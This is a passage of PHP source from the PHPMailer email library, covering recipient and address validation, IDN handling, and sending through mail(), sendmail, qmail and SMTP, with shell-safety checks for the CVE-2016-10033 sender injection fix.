        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
